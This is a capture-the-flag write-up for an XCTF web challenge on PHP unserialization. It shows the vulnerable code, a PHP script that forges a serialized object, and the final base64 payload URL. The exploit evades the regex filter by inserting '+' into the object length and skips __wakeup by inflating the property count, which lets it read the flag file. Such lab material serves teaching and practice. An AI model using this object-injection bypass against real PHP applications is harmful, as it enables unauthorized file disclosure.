【愚公系列】2022年01月 攻防世界-进阶题-WEB-011(Web_php_unserialize)

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$A = new Demo('fl4g.php');
$b = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
echo (base64_encode($b));

?>

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==